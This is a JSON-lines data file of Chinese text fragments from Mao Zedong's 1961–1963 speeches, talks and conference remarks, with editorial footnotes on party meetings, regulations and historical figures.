    {"text": "一九六一年三月十一日毛泽东在广州召开的中共中央中南局、西南局、华东局负责人和这三个地区所属省市自治区党委负责人参加的工作会议期间批示印发这篇文章时，将题目改为《关于调查工作》。"},
    {"text": "〔3〕 陈伯达，时任中共中央政治局候补委员、中央政治研究室主任、毛泽东的秘书。 胡乔木，时任中共中央书记处候补书记、毛泽东的秘书。 田家英，时任中共中央政治研究室副主任、毛泽东的秘书。"},
    {"text": "〔4〕 指一九五八年八月十七日至三十日在北戴河召开的中共中央政治局扩大会议通过的《中共中央关于在农村建立人民公社问题的决议》。 〔5〕 指一九五八年十一月二十八日至十二月十日在武昌召开的中共八届六中全会通过的《关于人民公社若干问题的决议》。"},
    {"text": "〔6〕 这个记录是一九五九年二月二十七日至三月五日在郑州召开的中共中央政治局扩大会议形成并下发的。 记录共三部分：（一）《郑州会议纪要》；"},
    {"text": "接着在杭州又召集华东、西南各省的同志开了三四天会，议题不集中，将搞小高炉、技术革新和技术革命、机械化和半机械化等等一些问题都插进去了，整一平二调 〔6〕 没有成为中心。"},
    {"text": "十二条指示，在执行中发生了一个错误，就是只搞了三类县、社、队，其他一类、二类放过了，没去动。 河南用整整半年的时间搞三类县、社、队，一、二类不去触动，“共产风”、命令风、浮夸风、瞎指挥风、干部特殊风没有普遍去整。"},
    {"text": "通过广州会议 〔11〕 、这次北京会议，我们自己思想通了，就要以身作则教育干部，教育省一级、地一级、县一级干部，首先要教育这三级干部。"},
    {"text": "从一九二一年建党，到一九四五年七大以前，二十四年中我们党在思想上没有完全统一过，先是陈独秀的右倾机会主义，后是三次“左”倾机会主义。"},
    {"text": "我刚才讲了，从北戴河会议、第一次郑州会议、武昌会议 〔18〕 、第二次郑州会议、上海会议、给六级干部的信、庐山会议，一直到六十条和这次会议，都没有解决问题。"},
    {"text": "注 释 * 这是毛泽东同志在中共中央工作会议上的讲话，这次会议于一九六一年五月二十一日至六月十二日在北京召开。 〔1〕 指一九五八年十一月二日至十日在郑州召开的有部分中央领导人、部分地方负责人参加的工作会议（即第一次郑州会议）和一九五九年二月二十七日至三月五日在郑州召开的中共中央政治局扩大会议（即第二次郑州会议）。 〔2〕 指一九五九年七月二日至八月一日在庐山召开的中共中央政治局扩大会议和八月二日至十六日召开的中共八届八中全会，会议通过的两个决议，《关于以彭德怀同志为首的反党集团的错误的决议》和《为保卫党的总路线，反对右倾机会主义而斗争》。 〔3〕 这个记录是一九五九年二月二十七日至三月五日在郑州召开的中共中央政治局扩大会议形成并下发的。"},
    {"text": "〔4〕 一九五九年四月二日至五日在上海召开的中共八届七中全会通过的会议纪要《关于人民公社的十八个问题》中，仍肯定人民公社办食堂和实行供给制的做法。"},
    {"text": "〔8〕 指一九六〇年十一月三日《中共中央关于农村人民公社当前政策问题的紧急指示信》，内容共十二条。 〔9〕 指一九六一年一月二十日《中央工作会议关于农村整风整社和若干政策问题的讨论纪要》。"},
    {"text": "第一次国内革命战争后期，他放弃对于农民群众、城市小资产阶级和中等资产阶级的领导权，尤其是放弃对于武装力量的领导权，主张一切联合，否认斗争，对国民党右派反共反人民的阴谋活动采取妥协投降的政策，以致当大地主大资产阶级的代表蒋介石、汪精卫先后背叛革命，向人民突然袭击的时候，中国共产党和广大人民不能组织有效的抵抗，使第一次国内革命战争遭到失败。"},
    {"text": "〔13〕 指一九二七年十一月至一九二八年四月以瞿秋白为代表的“左”倾盲动主义错误，一九三〇年六月至九月以李立三为代表的“左”倾冒险主义错误和一九三一年一月至一九三五年一月遵义会议前以王明为代表的“左”倾冒险主义错误。"},
    {"text": "大会决定了党的路线——“放手发动群众，壮大人民力量，在我党的领导下，打败日本侵略者，解放全国人民，建立一个新民主主义的中国”，通过了新的党章，选举了新的中央委员会。"},
    {"text": "中国在联合国只能有一个代表 中国在联合国 只能有一个代表 * （一九六一年六月十三日） 毛泽东主席（以下简称毛）：上一次总统来的时候，我曾经说过，因为联合国里有蒋介石的代表，所以我们不进联合国，这是同台湾问题有关系的。只要蒋介石的代表还在联合国，我们就不进联合国。我们已经等了十一年了，再等十一年或者更久也没有关系。我们不忙于进联合国。你们没有联合国问题，只有西伊里安 〔1〕 问题，这是与我们不同的。 阿哈默德·苏加诺总统（以下简称苏）：关于中国进入联合国的问题，目前外界有两种主张：一种主张是中国大陆同台湾成为整体，作为一个国家进入联合国；另一种主张认为中国可以先进入联合国，然后在联合国里同朋友们一道进行斗争，使得在联合国中只有中国，把蒋介石的代表驱逐出联合国，台湾归还中国。不久前我同陈毅 〔2〕 元帅谈话时，曾把这两种主张转告给他，并说明这不是印尼的观点。不过陈毅元帅已经明确表明只接受前者，而不接受后者；只愿意一步走，而不愿意分两步走。 毛：只能一步走。 苏：我愿意很好协助，为实现一步走而奋斗。 毛：如果台湾归还中国，中国就可以进联合国。如果台湾不作为一个国家，没有中央政府，它归还中国，那末台湾的社会制度问题也可以留待以后谈。我们容许台湾保持原来的社会制度，等台湾人民自己来解决这个问题。 苏：这是否就像苏联同乌克兰在联合国的情形一样呢？ 毛：不一样。 苏：我不是说社会制度方面，而是指能不能像乌克兰同苏联那样在联合国有两个代表。 毛：不行，中国在联合国只能有一个代表。乌克兰，还有白俄罗斯在联合国有代表，这是有历史原因的。第二次世界大战以后，乌克兰同白俄罗斯都参加联合国，苏联也在联合国里，因而苏联在联合国拥有三票。苏联当时碰到许多困难，不能不这样做。但是这样并没有两个苏联的问题。 注 释 * 这是毛泽东同志同印度尼西亚总统阿哈默德·苏加诺谈话的一部分。 〔1〕 西伊里安指印度尼西亚新几内亚岛西半部及其近海岛屿，今伊里安查亚省。一九四九年印度尼西亚独立时，荷兰政府在美国的支持下继续霸占这一地区。印尼政府曾多次希望通过谈判解决西伊里安问题，却屡遭阻挠和破坏。为维护国家的独立和主权，印尼人民展开声势浩大的收复西伊里安运动和反殖民主义的武装斗争，迫使荷兰政府同意谈判。一九六三年五月一日荷兰政府将西伊里安主权交还印度尼西亚。 〔2〕 陈毅（一九〇六——一九七二），四川乐至人。时任国务院副总理兼外交部长。"},
    {"text": "在七千人大会上的讲话——关于党的民主集中制 在七千人大会上的讲话 ——关于党的民主集中制 * （一九六二年一月三十日） 同志们，我现在讲几点意见。"},
    {"text": "这个稿子，还没有经过中央政治局讨论，我就向他们建议，不要先开中央政治局会议讨论了，立即发给参加大会的同志们，请大家评论，提意见。"},
    {"text": "同志们，你们有各方面的人、各地方的人，有各个省委、地委、县委的人，有企业党委的人，有中央各部门的人，你们当中的多数人是比较接近下层的，你们应当比我们中央常委、中央政治局和中央书记处的同志更加了解情况和问题。"},
    {"text": "如果不是采用这种方法，而是采用通常那种开会的方法，就是先来一篇报告，然后进行讨论，大家举手赞成，那就不可能做到这样好。 这是一个开会的方法问题。"},
    {"text": "我们的人民代表大会的会议，有时也许可以采用这种方法。 省委、地委、县委的同志们，你们以后召集会议，如果有条件的话，也可以采用这种方法。"},
    {"text": "解决人民内部矛盾，不能用咒骂，也不能用拳头，更不能用刀枪，只能用讨论的方法，说理的方法，批评和自我批评的方法，一句话，只能用民主的方法，让群众讲话的方法。"},
    {"text": "” 〔2〕 这几句话当中，所谓文王演周易，孔子作春秋，究竟有无其事，近人已有怀疑，我们可以不去理它，让专门家去解决吧，但是司马迁是相信有其事的。"},
    {"text": "我在这里申明，我不是提倡对干部，对同志，对任何人，可以不分青红皂白，作出错误处理，像古代人拘文王，厄孔子，放逐屈原，去掉孙膑的膝盖骨那样。"},
    {"text": "至于由于自己犯了错误，经过同志们的批评和上级的鉴定，作出正确处理，因而下降或者调动工作的人，这种下降或者调动，对于他们改正错误，获得新的知识，会有益处，那就不待说了。"},
    {"text": "同志们，我们是干革命的，如果真正犯了错误，这种错误是不利于党的事业，不利于人民的事业的，就应当征求人民群众和同志们的意见，并且自己作检讨。"},
    {"text": "不依靠群众，不发动群众和干部的积极性，就不可能克服困难。 但是，如果不向群众和干部说明情况，不向群众和干部交心，不让他们说出自己的意见，他们还对你感到害怕，不敢讲话，就不可能发动他们的积极性。"},
    {"text": "我在一九五七年这样说过，要造成“又有集中又有民主，又有纪律又有自由，又有统一意志、又有个人心情舒畅、生动活泼，那样一种政治局面” 〔3〕 。"},
    {"text": "克服困难，没有民主不行。 当然没有集中更不行，但是，没有民主就没有集中。 没有民主，不可能有正确的集中，因为大家意见分歧，没有统一的认识，集中制就建立不起来。"},
    {"text": "首先是要集中正确的意见。 在集中正确意见的基础上，做到统一认识，统一政策，统一计划，统一指挥，统一行动，叫做集中统一。 如果大家对问题还不了解，有意见还没有发表，有气还没有出，你这个集中统一怎么建立得起来呢？"},
    {"text": "如果没有民主，不了解下情，情况不明，不充分搜集各方面的意见，不使上下通气，只由上级领导机关凭着片面的或者不真实的材料决定问题，那就难免不是主观主义的，也就不可能达到统一认识，统一行动，不可能实现真正的集中。"},
    {"text": "拿中央常委或者政治局来说，常常有这样的事情，我讲的话，不管是对的还是不对的，只要大家不赞成，我就得服从他们的意见，因为他们是多数。"},
    {"text": "我们的省委书记，地委书记，县委书记，直到区委书记，企业党委书记，公社党委书记，既然作了第一书记，对于工作中的缺点错误，就要担起责任。"},
    {"text": "在我们国家，如果不充分发扬人民民主和党内民主，不充分实行无产阶级的民主制，就不可能有真正的无产阶级的集中制。 没有高度的民主，不可能有高度的集中，而没有高度的集中，就不可能建立社会主义经济。"},
    {"text": "在我们国内，人剥削人的制度已经消灭，地主阶级和资产阶级的经济基础已经消灭，现在反动阶级已经没有过去那么厉害了，比如说，已经没有一九四九年人民共和国建立的时候那么厉害了，也没有一九五七年资产阶级右派猖狂进攻的时候那么厉害了。"},
    {"text": "在社会主义社会，还会产生新的资产阶级分子。 整个社会主义阶段，存在着阶级和阶级斗争。 这种阶级斗争是长期的、复杂的，有时甚至是很激烈的。"},
    {"text": "还有一些作公安工作的同志，不依靠群众，不依靠党，在肃反工作中不是执行在党委领导下通过群众肃反的路线，只依靠秘密工作，只依靠所谓专业工作。 专业工作是需要的，对于反革命分子，侦查、审讯是完全必要的，但是，主要是实行党委领导下的群众路线，特别是对于整个反动阶级的专政，必须依靠群众，依靠党。"},
    {"text": "没有广泛的人民民主，无产阶级专政不能巩固，政权会不稳。 没有民主，没有把群众发动起来，没有群众的监督，就不可能对反动分子和坏分子实行有效的专政，也不可能对他们进行有效的改造，他们就会继续捣乱，还有复辟的可能 〔5〕 。"},
    {"text": "知识分子，例如科学家、工程技术人员、教授、教员、作家、艺术家、演员、医务工作者、新闻工作者，他们不是一个阶级，他们或者附属于资产阶级或者附属于无产阶级。"},
    {"text": "人民民主专政要压迫的是地主、富农、反革命分子、坏分子和反共的右派分子。 反革命分子、坏分子和反共的右派分子，他们代表的阶级是地主阶级和反动的资产阶级。"},
    {"text": "站在占全人口百分之九十五以上的人民群众一边，还是站在占全人口百分之四、五的地、富、反、坏、右一边呢？ 必须站在人民群众这一边，绝不能站到人民敌人那一边去。"},
    {"text": "例如对于在中国如何进行民主革命的问题，从一九二一年党的建立直到一九四五年党的第七次代表大会，一共二十四年，我们全党的认识才完全统一起来。"},
    {"text": "那是一次细致的整风，采用的方法是民主的方法，就是说，不管什么人犯了错误，只要认识了，改正了，就好了，而且大家帮助他认识，帮助他改正，叫做“惩前毖后，治病救人”，“从团结的愿望出发，经过批评或者斗争，分清是非，在新的基础上达到新的团结”。"},
    {"text": "对于当时的民主革命应当怎么办，党的总路线和各项具体政策应当怎么定，这些问题，都是在那个时期，特别是在整风之后，才得到完全解决的。"},
    {"text": "土地革命战争曾经取得了很大的胜利，红军发展到三十万人，后来又遭到挫折，经过长征，这三十万人缩小到两万多人，到陕北以后补充了一点，还是不到三万人，就是说，不到三十万人的十分之一。"},
    {"text": "我们受了那样大的挫折，吃过那样大的苦头，就得到锻炼，有了经验，纠正了错误路线，恢复了正确路线，所以这不到三万人的军队，比起过去那个三十万人的军队来，要更强些。"},
    {"text": "刘少奇同志在报告里说，最近四年，我们的路线是正确的，成绩是主要的，我们在实际工作中犯过一些错误，吃了苦头，有了经验了，因此我们更强了，而不是更弱了。"},
    {"text": "在抗日战争前夜和抗日战争时期，我写了一些论文，例《中国革命战争的战略问题》、《论持久战》、《新民主主义论》、《〈共产党人〉发刊词》，替中央起草过一些关于政策、策略的文件，都是革命经验的总结。"},
    {"text": "那些论文和文件，只有在那个时候才能产生，在以前不可能，因为没有经过大风大浪，没有两次胜利和两次失败的比较，还没有充分的经验，还不能充分认识中国革命的规律。"},
    {"text": "如果有人说，有哪一位同志，比如说中央的任何同志，比如说我自己，对于中国革命的规律，在一开始的时候就完全认识了，那是吹牛，你们切记不要信，没有那回事。"},
    {"text": "过去，特别是开始时期，我们只是一股劲儿要革命，至于怎么革法，革些什么，哪些先革，哪些后革，哪些要到下一阶段才革，在一个相当长的时间内，都没有弄清楚，或者说没有完全弄清楚。"},
    {"text": "我讲我们中国共产党人在民主革命时期艰难地但是成功地认识中国革命规律这一段历史情况的目的，是想引导同志们理解这样一件事：对于建设社会主义的规律的认识，必须有一个过程。"},
    {"text": "必须从实践出发，从没有经验到有经验，从有较少的经验，到有较多的经验，从建设社会主义这个未被认识的必然王国，到逐步地克服盲目性、认识客观规律、从而获得自由，在认识上出现一个飞跃，到达自由王国。"},
    {"text": "再过一个世纪，到十八世纪的上半期，就是清朝乾隆时代，《红楼梦》的作者曹雪芹就生活在那个时代，就是产生贾宝玉这种不满意封建制度的小说人物的时代。"},
    {"text": "可是，中国的人口多、底子薄，经济落后，要使生产力很大地发展起来，要赶上和超过世界上最先进的资本主义国家，没有一百多年的时间，我看是不行的。"},
    {"text": "从现在起，五十年内外到一百年内外，是世界上社会制度彻底变化的伟大时代，是一个翻天覆地的时代，是过去任何一个历史时代都不能比拟的。"},
    {"text": "为了这个事业，我们必须把马克思列宁主义的普遍真理同中国社会主义建设的具体实际、并且同今后世界革命的具体实际，尽可能好一些地结合起来，从实践中一步一步地认识斗争的客观规律。"},
    {"text": "要较多地懂得农业，还要懂得土壤学、植物学、作物栽培学、农业化学、农业机械，等等； 还要懂得农业内部的各个分业部门，例如粮、棉、油、麻、丝、茶、糖、菜、烟、果、药、杂等等；"},
    {"text": "已经制定了的，例如农村公社六十条 〔9〕 ，工业企业七十条 〔10〕 ，高等教育六十条 〔11〕 ，科学研究工作十四条 〔12〕 ，这些条例草案已经在实行或者试行，以后还要修改，有些还可能大改。"},
    {"text": "总之，工、农、商、学、兵、政、党这七个方面的工作，都应当好好地总结经验，制定一整套的方针、政策和办法，使它们在正确的轨道上前进。 有了总路线还不够，还必须在总路线指导之下，在工、农、商、学、兵、政、党各个方面，有一整套适合情况的具体的方针、政策和办法，才有可能说服群众和干部，并且把这些当作教材去教育他们，使他们有一个统一的认识和统一的行动，然后才有可能取得革命事业和建设事业的胜利，否则是不可能的。"},
    {"text": "在那时候，我们这样做了，就使得干部和群众对于民主革命时期的一整套具体的方针、政策和办法，有了统一的认识，因而有了统一的行动，使当时的民主革命事业取得了胜利，这是大家知道的。"},
    {"text": "不论在革命方面和建设方面，时候都有一条适合客观情况的、有充分说服力的总路线，以及在总路线指导下的一整套方针、政策和办法，因此教育了干部和群众，统一了他们的认识，工作也就比较做得好。"},
    {"text": "但是，那时候有这样一种情况，因为我们没有经验，在经济建设方面，我们只得照抄苏联，特别是在重工业方面，几乎一切都抄苏联，自己的创造性很少。"},
    {"text": "在一九五八年党的八大二次会议上，通过了“鼓足干劲，力争上游，多快好省地建设社会主义”的总路线，在那一年又办起了人民公社，提出了大跃进的口号。"},
    {"text": "在提出社会主义建设总路线的一个相当时间内，我们还没有来得及、也没有可能规定一整套适合情况的具体的方针、政策和办法，因为经验还不足。"},
    {"text": "在总路线指导之下，制定一整套的具体的方针、政策和办法，必须通过从群众中来的方法，通过作系统的周密的调查研究的方法，对工作中的成功经验和失败经验，作历史的考察，才能找出客观事物所固有的而不是人们主观臆造的规律，才能制定适合情况的各种条例。"},
    {"text": "建国以前入党的只占百分之二十。 在这百分之二十的人里面，一九三〇年以前入党的，二十年代入党的，据前几年计算，有八百多人，这两年死了一些，恐怕只有七百多人了。"},
    {"text": "就是讲，我们对于客观世界的认识，要有一个过程。 先是不认识或者不完全认识，经过反复的实践，在实践里面得到成绩，有了胜利，又翻过斤斗，碰了钉子，有了成功和失败的比较，然后才有可能逐步地发展成为完全的认识或者比较完全的认识。"},
    {"text": "自由是对必然的认识和对客观世界的改造。 〔16〕 只有在认识必然的基础上，人们才有自由的活动。 这是自由和必然的辩证规律。 所谓必然，就是客观存在的规律性，在没有认识它以前，我们的行动总是不自觉的，带着盲目性的。"},
    {"text": "在世界上，现在还有许多人，在社会民主党的欺骗之下，在修正主义的欺骗之下，在帝国主义的欺骗之下，在各国反动派的欺骗之下，他们还不觉悟。"},
    {"text": "虽然，苏联的党和国家的领导现在被修正主义者篡夺了，但是，我劝同志们坚决相信，苏联广大的人民、广大的党员和干部，是好的，是要革命的，修正主义的统治是不会长久的。"},
    {"text": "无论什么时候，现在，将来，我们这一辈子，我们的子孙，都要向苏联学习，学习苏联的经验。 不学习苏联，要犯错误。 人们会问：苏联被修正主义者统治了，还要学吗？ 我们学习的是苏联的好人好事，苏联党的好经验，苏联工人、农民和联系劳动人民的知识分子的好经验。 至于苏联的坏人坏事，苏联的修正主义者，我们应当看作反面教员，从他们那里吸取教训。"},
    {"text": "〔17〕 我们永远要坚持无产阶级的国际主义团结的原则，我们始终主张社会主义国家和世界共产主义运动一定要在马克思列宁主义的基础上巩固地团结起来。"},
    {"text": "我们在座的有七千多人，七千多人还孤立吗？ （笑声）我们国家有六亿几千万人民，我国人民是团结的，六亿几千万人还孤立吗？ 世界各国人民群众已经或者将要同我们站到一起，我们会是孤立的吗？"},
    {"text": "在国际范围内也是这样，我们是同一切马克思列宁主义者、一切革命人民、全体人民讲团结的，绝不同反共反人民的帝国主义者和各国反动派讲什么团结。"},
    {"text": "许多时候，少数人的意见，倒是正确的。 历史上常常有这样的事实，起初，真理不是在多数人手里，而是在少数人手里。 马克思、恩格斯手里有真理，可是他们在开始的时候是少数。 列宁在很长一个时期内也是少数。 我们党内也有这样的经验，在陈独秀 〔18〕 统治的时候，在“左”倾路线统治的时候，真理都不在领导机关的多数人手里，而是在少数人手里。"},
    {"text": "历史上的自然科学家，例如哥白尼、伽利略、达尔文 〔19〕 ，他们的学说曾经在一个长时间内不被多数人承认，反而被看作错误的东西，当时他们是少数。"},
    {"text": "在现在的时候，在革命胜利还只有十几年的时候，在被打倒了的反动阶级分子还没有被改造好，有些人并且企图阴谋复辟的时候，人总会要捕一点、杀一点的，否则不能平民愤，不能巩固人民的专政。"},
    {"text": "对于这种人得有个处理，罪大恶极的，也要捕一些，还要杀几个。 因为对这样的人，完全不捕、不杀，不足以平民愤。 这就是所谓“不可不捕，不可不杀”。 但是绝不可以多捕、多杀。 凡是可捕可不捕的，可杀可不杀的，都要坚决不捕、不杀。"},
    {"text": "同志们，你们回去，一定要把民主集中制健全起来。 县委的同志，要引导公社党委把民主集中制健全起来。 首先要建立和加强集体领导。 不要再实行长期固定的“分片包干”的领导方法了，那个方法，党委书记和委员们各搞各的，不能有真正的集体讨论，不能有真正的集体领导。"},
    {"text": "原文是：“我们的目标，是想造成一个又有集中又有民主，又有纪律又有自由，又有统一意志、又有个人心情舒畅、生动活泼，那样一种政治局面，以利于社会主义革命和社会主义建设，较易于克服困难，较快地建设我国的现代工业和现代农业，党和国家较为巩固，较为能够经受风险。"},
    {"text": "这种阶级斗争是长期的、复杂的，有时甚至是很激烈的”这四句话，是一九六二年九月二十八日党的八届十中全会公报中的提法，一九六六年二月中共中央将毛泽东这个讲话印发给党内领导干部阅读时，经他本人审阅同意，加进了讲话中。"},
    {"text": "〔5〕 一九六二年四月中共中央印发的这个讲话中，这句话是：“没有民主，没有把群众发动起来，没有群众的监督，反动阶级的残余，坏分子，不可能被改造，而且他们还会继续捣乱，还有复辟的可能。"},
    {"text": "” 〔6〕 一九六二年四月中共中央印发的这个讲话中，这里是“百分之九十以上”，另外还有几处“百分之九十几”，在一九六六年二月印发的讲话稿中均改为“百分之九十五以上”。"},
    {"text": "〔9〕 指中共中央一九六一年三月制定的《农村人民公社工作条例（草案）》，共六十条。 一九六二年九月，中共八届十中全会通过了《农村人民公社工作条例（修正草案）》。 〔10〕 指中共中央一九六一年九月制定的《国营工业企业工作条例（草案）》，共七十条。 〔11〕 指中共中央一九六一年九月原则批准的《中华人民共和国教育部直属高等学校暂行工作条例（草案）》，共六十条。 〔12〕 指国家科学技术委员会党组和中国科学院党组一九六一年六月提出、中共中央七月批准试行的《关于自然科学研究机构当前工作的十四条意见（草案）》。 〔13〕 中共中央一九六一年六月十九日下达了《关于改进商业工作的若干规定（试行草案）》，共四十条。 随后，中央根据调查研究的情况，准备拟定一个比较全面的商业工作条例，一九六二年曾起草，后因故没有形成正式文件。"},
    {"text": "〔15〕 指中华人民共和国国防部一九六一年六月十九日命令颁布的《中国人民解放军连队管理教育工作条例》和同年十一月十七日在全军政治工作会议上通过的《中国人民解放军连队政治指导员工作条例》、《中国共产党连队支部工作条例》、《中国共产主义青年团连队支部工作条例》、《中围人民解放军连队革命军人委员会工作条例》。"},
    {"text": "〔16〕 “自由是对必然的认识和对客观世界的改造”这一句，是一九六六年二月印发这个讲话稿时修改的，一九六二年四月中共中央印发的这个讲话中是“自由是被认识了的必然”。"},
    {"text": "〔17〕 这一段中，“虽然，苏联的党和国家的领导现在被修正主义者篡夺了，但是，我劝同志们坚决相信，苏联广大的人民、广大的党员和干部，是好的，是要革命的，修正主义的统治是不会长久的”，“苏联被修正主义者统治了”，“至于苏联的坏人坏事，苏联的修正主义者，我们应当看作反面教员，从他们那里吸取教训”几句话，是一九六六年二月印发这个讲话稿时加写和改写的。"},
    {"text": "关于反革命托派奸细问题，一九九一年二月七日，公安部《关于对王实味同志托派问题的复查决定》中说，“在复查中没有查出王实味同志参加托派组织的材料。"},
    {"text": "在北戴河中央工作会议中心小组会上的讲话 在北戴河中央工作会议 中心小组会上的讲话 （一九六二年八月九日） 今天单讲共产党垮得了垮不了的问题。"},
    {"text": "有困难，对集体经济是个考验，这是一种大考验，将来还要经受更重大的考验，苏联经过两次大战的大考验，走了许多曲折的道路，现在还出修正主义。"},
    {"text": "“六大”只说资产阶级不好，但是对资产阶级加了具体分析，反对的是官僚、买办资产阶级，对别的资产阶级就反得不多，三反五反搞了一下，没收国民党、大资本家、帝国主义的财产，这些拿到我们手上，就是社会主义性质，拿到别人手上是资本主义性质。"},
    {"text": "一九五八年已有些精神不对，中间有些工作有错娱，最主要的是高征购，瞎指挥，共产风，几个大办，安徽“三改”，引黄灌溉（本来是好的，不晓得盐碱化）。"},
    {"text": "有些同志一有风吹草动，就发生动摇，那是对社会主义革命没有精神准备，或者没有马克思主义。 没有思想准备，没有马列主义，一有风就顶不住。"},
    {"text": "有这样一种农民，两方面都要争夺，地富要争夺，我们要争夺。 小资产阶级、农民有两重性，碰到困难就动摇，所以我们要争夺无产阶级领导权，就是共产党领导。"},
    {"text": "五八年十一月第一次郑州会议，提出的商业政策，没执行，按劳分配的政策，也不执行，不是促进农业，集体经济的发展，反而起了不利的影响。"},
    {"text": "中央有事情总是同各省、市和各部商量，可是有些部就是不同中央商量，中央有些部作得好，像军事、外交，有些部门像计委、经委，还有财贸办、农业办等口子，问题总是不能解决。"},
    {"text": "西北解放前夕，马步芳逃往台湾，后长期定居沙特阿拉伯，曾任台湾驻沙特“大使”，虽年将垂暮，却恶性不改，不仅侵犯部属之妻女，甚至罔顾伦常，强暴自己的亲侄女。"},
    {"text": "〔3〕 指中共中央一九六一年九月制定的《国营工业企业工作条例（草案）》，共七十条，简称工业七十条。 〔4〕 指《农村人民公社工作条例（修正草案）》，共六十条。"},
    {"text": "所以我们有反帝任务，有支持民族解放运动的任务，就是要支持亚、非、拉三大洲广大的人民群众，包括工人、农民、革命的民族资产阶级和革命的知识分子，我们要团结这么多的人，但不包括反动的资产阶级，如尼赫鲁，也不包括反动的资产阶级知识分子，如日共叛徒春日藏次郎，主张结构改革论 〔1〕 ，有七、八个人。"},
    {"text": "那么，社会主义国家有没有阶级存在？ 有没有阶级斗争？ 现在可以肯定，社会主义国家有阶级存在，阶级斗争肯定是存在的。 列宁曾经说，革命胜利后，本国被推翻的阶级，因为国际上有资产阶级存在，国内还有资产阶级残余，小资产阶级的存在不断产生资产阶级，因此被推翻了的阶级还是长期存在的，甚至要复辟的。"},
    {"text": "我们这个国家，要好好掌握，好好认识，好好研究这个问题，要承认阶级长期存在，承认阶级与阶级斗争，反动阶级可能复辟，要提高警惕，要好好教育青年人，教育干部，教育群众，教育中层和基层干部，老干部也要研究、教育。"},
    {"text": "如果我们的儿子一代搞修正主义，走向反面，虽然名为社会主义，实际是资本主义，我们的孙子肯定会起来暴动的，推翻他们的老子，因为群众不满意。"},
    {"text": "所以我们从现在起，就必须年年讲，月月讲，天天讲，开大会讲，开党代会讲，开全会讲，开一次会就讲，使我们对这个问题有一条比较清醒的马克思列宁主义的路线。"},
    {"text": "还有几个大办的错误，一九六〇年下半年开始纠正，说起来就早了，一九五八年十月第一次郑州会议 〔2〕 就开始了，然后十一月武昌会议 〔3〕 ，五九年二、三月第二次郑州会议 〔4〕 ，然后四月上海会议 〔5〕 就注意纠正。"},
    {"text": "以后赫压我国，十月在我国国庆十周年宴会上，在我们讲台上，攻击我们，六〇年布加勒斯特会议围攻我们，然后两党会议，二十六国起草委员会，八十一国莫斯科会议，还有一个华沙会议，都是马列主义与修正主义的争论。"},
    {"text": "各国人民反对反动资产阶级，各国人民反对反动的民族主义。 各国人民同修正主义的矛盾； 帝国主义国家之间的矛盾； 民族主义国家同帝国主义国家之间的矛盾； 帝国主义国家内部的矛盾； 社会主义与帝国主义之间的矛盾。"},
    {"text": "不论犯了什么错误的同志，还是一九四二年到一九四五年整风运动时的那个路线，只要认真改正，都表示欢迎，就要团结他，治病救人，惩前毖后，团结——批评——团结。"},
    {"text": "去年我讲，对人是要分析的，人是不能不犯错误的，所谓圣人，说圣人没有缺点，是形而上学的观点，而不是马克思主义、辩证唯物主义的观点，任何事物都是可以分析的，我劝同志们，无论是里通外国也好，搞什么秘密反党小集团的也好，只要把那一套统统倒出来，真正实事求是讲出来，我们就欢迎，还给工作做，绝不采取不理他们的态度，更不能采取杀头的办法。"},
    {"text": "工作问题，还请同志们注意，阶级斗争不要影响我们的工作，一九五九年第一次庐山会议本来是搞工作的，后来出了彭德怀，说：“你操了我四十天娘，我操你二十天娘不行！"},
    {"text": "保卫工作要保卫我们的事业，保卫工厂、企业、公社、生产队、学校、政府、军队、党、群众团体，还有文化机关，包括报馆、刊物、新闻社，保卫上层建筑。"},
    {"text": "叶剑英同志搞了部著作，很尖锐，大关节是不糊涂的，我一向批评你说不尖锐，这次可尖锐了，我送你两句话：“诸葛一生惟谨慎，呂端大事不糊涂。"},
    {"text": "〔1〕 结构改革论，第二次世界大战后意大利共产党总书记陶里亚蒂提出的关于和平过渡社会主义的理论。 一九五六年12月意共召开第八次代表大会，陶里亚蒂正式系统地提出“结构改革论”的理论和路线。"},
    {"text": "“结构改革论”的基本内容是：主张不诉诸使用暴力打碎旧的国家机器，通过议会斗争和群众斗争相结合的途径，争取群众大多数的支持，逐步改变国家内部社会力量的对比，使工人阶级及其同盟者进入国家领导机构，建立“新型民主制”，实现工人阶级的领导；"},
    {"text": "主张在宪法规定的范围内使经济关键部门有计划、有步骤地实行国有化，使经济管理部门民主化、经济规划化，实行土地改革，实现耕者有其田和技术进步。"},
    {"text": "”“结构改革”不仅是意共的基本路线，也为当时西欧一些国家的共产党所接受。 “结构改革论”也是70年代兴起的“欧洲共产主义”的理论来源之一。"},
    {"text": "〔2〕 第一次郑州会议，指指一九五八年十一月二日至十日毛泽东在郑州召集的有部分中央领导人和部分地方负责人参加的会议，也称第一次郑州会议。"},
    {"text": "〔3〕 武昌会议指一九五八年十一月二十一日至二十七日，中共中央在武昌召开的政治局扩大会议，参加会议的有部分中央领导人和各省、市、自治区党委第一书记。 〔4〕 第二次郑州会议指一九五九年二月二十七日至三月五日在郑州召开的中共中央政治局扩大会议。 〔5〕 上海会议指一九五九年三月二十五日至四月一日在上海召开的中共中央政治局扩大会议。"},
    {"text": "干部参加劳动的伟大意义 干部参加劳动的伟大意义 * （一九六三年五月九日） 浙江省这七个材料 〔1〕 ，都是很好的。文字也不难看，建议发到各中央局、各省、地、县、社，给干部们阅读。可以从中选两三件向识字不多的干部宣读和讲解，以便引起他们的注意，逐步加深广大干部特别是县、社、大队、生产队四级干部对于参加生产劳动的伟大革命意义的认识，减少许多思想落后的干部的抵抗和阻力。中央曾在今年三月二十三日发出山西省昔阳县全县四级干部无例外地参加生产劳动的模范事例，并作了批语，对于这个重大问题，有些同志是注意了，例如浙江，在全省党代表大会上着重讨论了并且作了具体安排，其他地方，则反映尚少。建议各级领导同志利用适当机会，对于干部参加劳动这个极端重大的问题在今年内进行几次讨论，并普遍宣读山西昔阳县那个文件。各省、市、自治区，一定有自己的好范例，应当选出一些（不要太多）让干部学习。我们希望争取在三年内能使全国全体农村支部书记认真参加生产劳动，而在第一年，能争取有三分之一的支部书记参加劳动，那就是一个大胜利。城市工厂支部书记也应当是生产能手。阶级斗争、生产斗争和科学实验，是建设社会主义强大国家的三项伟大革命运动，是使共产党人免除官僚主义，避免修正主义和教条主义，永远立于不败之地的确实保证，是使无产阶级能够和广人劳动群众联合起来，实行民主专政的可靠保证。不然的话，让地、富、反、坏、牛鬼蛇神一齐跑了出来，而我们的干部则不闻不问，有许多人甚至敌我不分，互相勾结，被敌人腐蚀侵袭，分化瓦解，拉出去，打进来，许多工人、农民和知识分子也被敌人软硬兼施，照此办理，那就不要很多时间，少则几年、十几年，多则几十年，就不可避免地要出现全国性的反革命复辟，马列主义的党就一定会变成修正主义的党